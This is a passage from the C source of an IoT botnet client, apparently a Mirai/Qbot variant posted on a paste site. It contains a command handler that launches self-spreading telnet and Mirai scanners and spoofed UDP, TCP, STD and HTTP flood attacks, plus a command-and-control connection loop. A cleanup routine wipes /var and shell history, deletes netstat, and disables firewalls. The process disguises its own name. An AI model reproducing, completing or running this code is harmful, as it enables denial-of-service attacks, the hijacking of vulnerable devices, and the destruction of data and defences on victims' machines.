  4845.                 int usec = atoi(argv[2]);
  4846.                 if(!listFork())
  4847.                 {
  4848.                     //sockprintf(mainCommSock, "[TELNET] Starting Fastload.");
  4849.                     TelnetScanner(usec, threads);
  4850.                     _exit(0);
  4851.                 }
  4852.                 return;
  4853.             }
  4854.         }
  4855.         if(!strcmp(argv[0], "MIRAI"))
  4856.         {
  4857.             if(!strcmp(argv[1], "ON"))
  4858.             {
  4859.                 uint32_t parent;
  4860.                 parent = fork();        
  4861.                 int ii = 0;
  4862.                 int forks = sysconf( _SC_NPROCESSORS_ONLN );
  4863.                 int fds = 999999;
  4864.                 if(forks == 1) fds = 500;
  4865.                 if(forks >= 2) fds = 1000;
  4866.                 if (parent > 0)
  4867.                 {
  4868.                     miraiPid = parent;
  4869.                     return;
  4870.                 }
  4871.                 else if(parent == -1) return;
  4872.                 for (ii = 0; ii < forks; ii++)
  4873.                 {
  4874.                     srand((time(NULL) ^ getpid()) + getppid());
  4875.                     init_rand(time(NULL) ^ getpid());
  4876.                     MiraiScanner(100, fds);
  4877.                     _exit(0);
  4878.                 }
  4879.             }
  4880.             if(!strcmp(argv[1], "OFF"))
  4881.             {
  4882.                 if(miraiPid == 0) return;
  4883.                 kill(miraiPid, 9);
  4884.                 miraiPid = 0;
  4885.             }
  4886.             if(!strcmp(argv[1], "FASTLOAD"))
  4887.             {
  4888.                 int threads = atoi(argv[1]);
  4889.                 int usec = atoi(argv[2]);
  4890.                 if(!listFork())
  4891.                 {
  4892.                     //sockprintf(mainCommSock, "Starting scanner!!");
  4893.                     MiraiScanner(usec, threads);
  4894.                     _exit(0);
  4895.                 }
  4896.                 return;
  4897.             }
  4898. }
  4899.             if(!strcmp(argv[0], "MRANGE")) {
  4900.             if(argc < 2 || atoi(argv[1]) == -1){
  4901.             sockprintf(mainCommSock, "RANGE <option 0-idk>");
  4902.             }else{
  4903.             sockprintf(mainCommSock, "Mirai Range %d->%d", mirairange, atoi(argv[1]));
  4904.             mirairange = atoi(argv[1]);
  4905.             }
  4906.             return;
  4907.             }
  4908. if(!strcmp(argv[0], "PHONE")) {
  4909. if(argc != 2) {
  4910. return; }
  4911. if(!strcmp(argv[1], "OFF")) {
  4912. if(Phonepid == 0) return;
  4913. kill(Phonepid, 9);
  4914. Phonepid = 0; }
  4915. if(!strcmp(argv[1], "ON")) {
  4916. if(Phonepid != 0) return;
  4917. uint32_t parent;
  4918. parent = fork();
  4919. if (parent > 0) { Phonepid = parent; return;}
  4920. else if(parent == -1) return;
  4921. PhoneScanner();
  4922. _exit(0);
  4923. }
  4924. }
  4925.             if(!strcmp(argv[0], "MTRANGE")) {
  4926.             if(argc < 2 || atoi(argv[1]) == -1){
  4927.             sockprintf(mainCommSock, "Mirai Test RANGE <option 0-idk>");
  4928.             }else{
  4929.             sockprintf(mainCommSock, "Range %d->%d", miraitestrange, atoi(argv[1]));
  4930.             miraitestrange = atoi(argv[1]);
  4931.             }
  4932.             return;
  4933.             }
  4934. if(!strcmp(argv[0], "MIRAITEST")) {
  4935. if(argc != 2) {
  4936. return; }
  4937. if(!strcmp(argv[1], "OFF")) {
  4938. if(testmiraiPid == 0) return;
  4939. kill(testmiraiPid, 9);
  4940. testmiraiPid = 0; }
  4941. if(!strcmp(argv[1], "ON")) {
  4942. if(testmiraiPid != 0) return;
  4943. uint32_t parent;
  4944. parent = fork();
  4945. if (parent > 0) { testmiraiPid = parent; return;}
  4946. else if(parent == -1) return;
  4947. MiraiHackaShit();
  4948. _exit(0);
  4949. }
  4950.             if(!strcmp(argv[0], "TT")) {
  4951.             if(argc < 2 || atoi(argv[1]) == -1){
  4952.             sockprintf(mainCommSock, "Telnet test RANGE <option 0-idk>");
  4953.             }else{
  4954.             sockprintf(mainCommSock, "Range %d->%d", telnettestrange, atoi(argv[1]));
  4955.             telnettestrange = atoi(argv[1]);
  4956.             }
  4957.             return;
  4958.             }
  4959. }
  4960. if(!strcmp(argv[0], "TELNETTEST")) {
  4961. if(argc != 2) {
  4962. return; }
  4963. if(!strcmp(argv[1], "OFF")) {
  4964. if(testtelnetPid == 0) return;
  4965. kill(testtelnetPid, 9);
  4966. testtelnetPid = 0; }
  4967. if(!strcmp(argv[1], "ON")) {
  4968. if(testtelnetPid != 0) return;
  4969. uint32_t parent;
  4970. parent = fork();
  4971. if (parent > 0) { testtelnetPid = parent; return;}
  4972. else if(parent == -1) return;
  4973. HackaShit();
  4974. _exit(0);
  4975. }
  4976.  
  4977. }
  4978.  
  4979. if(!strcmp(argv[0], "BCM")) {
  4980. if(argc != 2) {
  4981. return; }
  4982. if(!strcmp(argv[1], "OFF")) {
  4983. if(bcmPid == 0) return;
  4984. kill(bcmPid, 9);
  4985. bcmPid = 0; }
  4986. if(!strcmp(argv[1], "ON")) {
  4987. if(bcmPid != 0) return;
  4988. uint32_t parent;
  4989. parent = fork();
  4990. if (parent > 0) { bcmPid = parent; return;}
  4991. else if(parent == -1) return;
  4992. BCMscanner();
  4993. _exit(0);
  4994. }
  4995. }
  4996.    
  4997.         if (!strcmp(argv[0], "HTTP"))
  4998.         {
  4999.             // !* HTTP METHOD TARGET PORT PATH TIME POWER
  5000.             // !* HTTP POST/GET/HEAD hackforums.net 80 / 10 100
  5001.             if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  5002.             if (listFork()) return;
  5003.             SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  5004.             exit(0);
  5005.         }
  5006.         if(!strcmp(argv[0], "UDP"))
  5007.         {
  5008.             // !* UDP TARGET PORT TIME PACKETSIZE POLLINTERVAL
  5009.             if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 1024 || (argc == 6 && atoi(argv[5]) < 1))
  5010.             {
  5011.                 return;
  5012.             }
  5013.                 unsigned char *ip = argv[1];
  5014.                 int port = atoi(argv[2]);
  5015.                 int time = atoi(argv[3]);
  5016.                 int packetsize = atoi(argv[4]);
  5017.                 int pollinterval = (argc == 6 ? atoi(argv[5]) : 10);
  5018.                 int spoofed = 32;
  5019.                 if(strstr(ip, ",") != NULL)
  5020.                 {
  5021.                     unsigned char *hi = strtok(ip, ",");
  5022.                     while(hi != NULL)
  5023.                     {
  5024.                         if(!listFork())
  5025.                         {
  5026.                             SendUDP(hi, port, time, packetsize, pollinterval, spoofed);
  5027.                             _exit(0);
  5028.                         }
  5029.                         hi = strtok(NULL, ",");
  5030.                     }
  5031.                 } else {
  5032.                             if (listFork())
  5033.                             {
  5034.                                 return;
  5035.                             }
  5036.                             SendUDP(ip, port, time, packetsize, pollinterval, spoofed);
  5037.                             _exit(0);
  5038.                        }   
  5039.         }
  5040.         if(!strcmp(argv[0], "TCP"))
  5041.         {
  5042.                 //!* TCP TARGET PORT TIME FLAGS PACKETSIZE POLLINTERVAL
  5043.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argc > 5 && atoi(argv[5]) < 0) || (argc == 7 && atoi(argv[6]) < 1))
  5044.                 {
  5045.                         return;
  5046.                 }
  5047.                 unsigned char *ip = argv[1];
  5048.                 int port = atoi(argv[2]);
  5049.                 int time = atoi(argv[3]);
  5050.                 unsigned char *flags = argv[4];
  5051.                 int pollinterval = argc == 7 ? atoi(argv[6]) : 10;
  5052.                 int packetsize = argc > 5 ? atoi(argv[5]) : 0;
  5053.                 int spoofed = 32;
  5054.                 if(strstr(ip, ",") != NULL) {
  5055.                         unsigned char *hi = strtok(ip, ",");
  5056.                         while(hi != NULL) {
  5057.                                 if(!listFork()) {
  5058.                                         SendTCP(hi, port, time, flags, packetsize, pollinterval, spoofed);
  5059.                                         _exit(0);
  5060.                                 }
  5061.                                 hi = strtok(NULL, ",");
  5062.                         }
  5063.                 } else  {
  5064.                             if (listFork())
  5065.                             {
  5066.                                 return;
  5067.                             }
  5068.                             SendTCP(ip, port, time, flags, packetsize, pollinterval, spoofed);
  5069.                             _exit(0);
  5070.                         }
  5071.         }
  5072. if(!strcmp(argv[0], "STD")) //STD TARGET PORT TIME
  5073. {
  5074. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  5075. {
  5076. return;
  5077. }
  5078. unsigned char *ip = argv[1];
  5079. int port = atoi(argv[2]);
  5080. int time = atoi(argv[3]);
  5081. if(strstr(ip, ",") != NULL)
  5082. {
  5083. unsigned char *hi = strtok(ip, ",");
  5084. while(hi != NULL)
  5085. {
  5086. if(!listFork())
  5087. {
  5088. sendSTD(hi, port, time);
  5089. _exit(0);
  5090. }
  5091. hi = strtok(NULL, ",");
  5092. }
  5093. } else {
  5094. if (listFork()) { return; }
  5095. sendSTD(ip, port, time);
  5096. _exit(0);
  5097. }
  5098. }
  5099.         if(!strcmp(argv[0], "STOP"))
  5100.         {
  5101.                 int killed = 0;
  5102.                 unsigned long i;
  5103.                 for (i = 0; i < numpids; i++)
  5104.                 {
  5105.                         if (pids[i] != 0 && pids[i] != getpid())
  5106.                         {
  5107.                                 kill(pids[i], 9);
  5108.                                 killed++;
  5109.                         }
  5110.                 }
  5111.                 if(killed > 0)
  5112.                 {
  5113.                     //
  5114.                 } else {
  5115.                             //
  5116.                        }
  5117.         }
  5118.         if(!strcmp(argv[0], "FUCKOFF"))
  5119.         {
  5120.                 exit(0);
  5121.         }
  5122.         if(!strcmp(argv[0], "UPDATE"))
  5123.         {
  5124.             RemoveTempDirs();
  5125.             sockprintf(mainCommSock, "[Updating] [%s:%s]", getBuild(), getEndianness());
  5126.         }
  5127. }
  5128. int initConnection() {
  5129.     unsigned char server[512];
  5130.     memset(server, 0, 512);
  5131.     if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  5132.     if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  5133.     else currentServer++;
  5134.     strcpy(server, commServer[currentServer]);
  5135.     int port = 6942;
  5136.     if(strchr(server, ':') != NULL) {
  5137.         port = atoi(strchr(server, ':') + 1);
  5138.         *((unsigned char *)(strchr(server, ':'))) = 0x0;
  5139.     }
  5140.     mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  5141.     if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  5142.     return 0;
  5143. }
  5144. void UpdateNameSrvs() {
  5145.     uint16_t fhandler = open("/etc/resolv.conf", O_WRONLY | O_TRUNC);
  5146.     if (access("/etc/resolv.conf", F_OK) != -1) {
  5147.         const char* resd = "nameserver 8.8.8.8\nnameserver 8.8.4.4\n";
  5148.         size_t resl = strlen(resd);
  5149.         write(fhandler, resd, resl);
  5150.     } else { return; }
  5151.     close(fhandler);
  5152. }
  5153. void RemoveTempDirs() {
  5154.     system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*");
  5155.     system("rm -rf /var/log/wtmp");
  5156.     system("rm -rf ~/.bash_history");
  5157.     system("history -c;history -w");
  5158.     system("rm -rf /tmp/*");
  5159.     system("history -c");
  5160.     system("rm -rf /bin/netstat");
  5161.     system("history -w");
  5162.     system("pkill -9 busybox");
  5163.     system("pkill -9 perl");
  5164.     system("service iptables stop");
  5165.     system("/sbin/iptables -F;/sbin/iptables -X");
  5166.     system("service firewalld stop");
  5167. }
  5168. int getEndianness(void)
  5169. {
  5170.     union
  5171.     {
  5172.         uint32_t vlu;
  5173.         uint8_t data[sizeof(uint32_t)];
  5174.     } nmb;
  5175.     nmb.data[0] = 0x00;
  5176.     nmb.data[1] = 0x01;
  5177.     nmb.data[2] = 0x02;
  5178.     nmb.data[3] = 0x03;
  5179.     switch (nmb.vlu)
  5180.     {
  5181.         case UINT32_C(0x00010203):
  5182.             return "BIG_ENDIAN";
  5183.         case UINT32_C(0x03020100):
  5184.             return "LITTLE_ENDIAN";
  5185.         case UINT32_C(0x02030001):
  5186.             return "BIG_ENDIAN_W";
  5187.         case UINT32_C(0x01000302):
  5188.             return "LITTLE_ENDIAN_W";
  5189.         default:
  5190.             return "UNKNOWN";
  5191.     }
  5192. }
  5193. char *getBuildz()
  5194. {
  5195. if(access("/usr/bin/python", F_OK) != -1){
  5196. return "SERVER";
  5197. } else {
  5198. return "DEVICE";
  5199. }
  5200. }
  5201. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  5202. {
  5203. int got = 1, total = 0;
  5204. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  5205. return got == 0 ? NULL : buffer;
  5206. }
  5207. int getOurIP() {
  5208. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  5209. if(sock == -1) return 0;
  5210. struct sockaddr_in serv;
  5211. memset(&serv, 0, sizeof(serv));
  5212. serv.sin_family = AF_INET;
  5213. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  5214. serv.sin_port = htons(53);
  5215. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  5216. if(err == -1) return 0;
  5217. struct sockaddr_in name;
  5218. socklen_t namelen = sizeof(name);
  5219. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  5220. if(err == -1) return 0;
  5221. ourIP.s_addr = name.sin_addr.s_addr;
  5222. int cmdline = open("/proc/net/route", O_RDONLY);
  5223. char linebuf[4096];
  5224. while(fdgets(linebuf, 4096, cmdline) != NULL)
  5225. {
  5226. if(strstr(linebuf, "\t00000000\t") != NULL)
  5227. {
  5228. unsigned char *pos = linebuf;
  5229. while(*pos != '\t') pos++;
  5230. *pos = 0;
  5231. break;
  5232. }
  5233. memset(linebuf, 0, 4096);
  5234. }
  5235. close(cmdline);
  5236. if(*linebuf)
  5237. {
  5238. int i;
  5239. struct ifreq ifr;
  5240. strcpy(ifr.ifr_name, linebuf);
  5241. ioctl(sock, SIOCGIFHWADDR, &ifr);
  5242. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  5243. }
  5244. close(sock);
  5245. }
  5246. int main(int argc, unsigned char *argv[]) {
  5247.         const char *lolsuckmekid = "";
  5248.         if(SERVER_LIST_SIZE <= 0) return 0;
  5249.         strncpy(argv[0],"",strlen(argv[0]));
  5250.         argv[0] = "";
  5251.         prctl(PR_SET_NAME, (unsigned long) lolsuckmekid, 0, 0, 0);
  5252.         srand(time(NULL) ^ getpid());
  5253.         init_rand(time(NULL) ^ getpid());
  5254.         pid_t pid1;
  5255.         pid_t pid2;
  5256.         int status;
  5257.         getOurIP();
  5258.         if (pid1 = fork()) {
  5259.                         waitpid(pid1, &status, 0);
  5260.                         exit(0);
  5261.         } else if (!pid1) {
  5262.                         if (pid2 = fork()) {
  5263.                                         exit(0);
  5264.                         } else if (!pid2) {
  5265.                         } else {
  5266.                         }
  5267.         } else {
  5268.         }
  5269.         chdir("/");
  5270.         setuid(0);             
  5271.         seteuid(0);
  5272.         signal(SIGPIPE, SIG_IGN);
  5273.         while(1) {
  5274.                 if(fork() == 0) {
  5275.                 if(initConnection()) { sleep(5); continue; }
  5276.                 sockprintf(mainCommSock, "\e[96m[%s] \e[97mConnected -> %s -> %s",getBuildz(), inet_ntoa(ourIP), getBuild(), getEndianness(), VERSION);
  5277.                 UpdateNameSrvs();
  5278.                 RemoveTempDirs();
  5279.                 char commBuf[4096];
  5280.                 int got = 0;
  5281.                 int i = 0;
  5282.                 while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) {
  5283.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  5284.                                 unsigned int *newpids, on;
  5285.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  5286.                                 pids[on - 1] = 0;
  5287.                                 numpids--;
  5288.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  5289.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  5290.                                 free(pids);
  5291.                                 pids = newpids;
  5292.                         }
  5293.                         commBuf[got] = 0x00;
  5294.                         trim(commBuf);
  5295.                         if(strstr(commBuf, "PING") == commBuf) { // PING
  5296.                                 continue;
  5297.                         }
  5298.                         if(strstr(commBuf, "DUP") == commBuf) exit(0); // DUP
  5299.                         unsigned char *message = commBuf;
  5300.                         if(*message == '!') {
  5301.                                 unsigned char *nickMask = message + 1;
  5302.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  5303.                                 if(*nickMask == 0x00) continue;
  5304.                                 *(nickMask) = 0x00;
  5305.                                 nickMask = message + 1;
  5306.                                 message = message + strlen(nickMask) + 2;
  5307.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  5308.                                 unsigned char *command = message;
  5309.                                 while(*message != ' ' && *message != 0x00) message++;
  5310.                                 *message = 0x00;
  5311.                                 message++;
  5312.                                 unsigned char *tmpcommand = command;
  5313.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  5314.                                 unsigned char *params[10];
  5315.                                 int paramsCount = 1;
  5316.                                 unsigned char *pch = strtok(message, " ");
  5317.                                 params[0] = command;
  5318.                                 while(pch) {
  5319.                                         if(*pch != '\n') {
  5320.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  5321.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  5322.                                                 strcpy(params[paramsCount], pch);
  5323.                                                 paramsCount++;
  5324.                                         }
  5325.                                         pch = strtok(NULL, " ");
  5326.                                 }
  5327.                                 processCmd(paramsCount, params);
  5328.                                 if(paramsCount > 1) {
  5329.                                         int q = 1;
  5330.                                         for(q = 1; q < paramsCount; q++) {
  5331.                                                 free(params[q]);
  5332.                                         }
  5333.                                 }
  5334.                         }
  5335.                 }
  5336.         }
  5337.         return 0;
  5338.     }
  5339. }
  5340.  
  5341. //  BASE Client Made by Wicked
  5342. //  SelfRep Goes Into telnet.txt (say thanks to Seclusion for that)
  5343. //  Attacks, Ranges & Botkiller Improved by Scarface
  5344. //  Decent STD Flood By Scarface
  5345. //  Improved HTTP Flood By Scarface
  5346. //  Binarys & Ranges Added By By Scarface
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement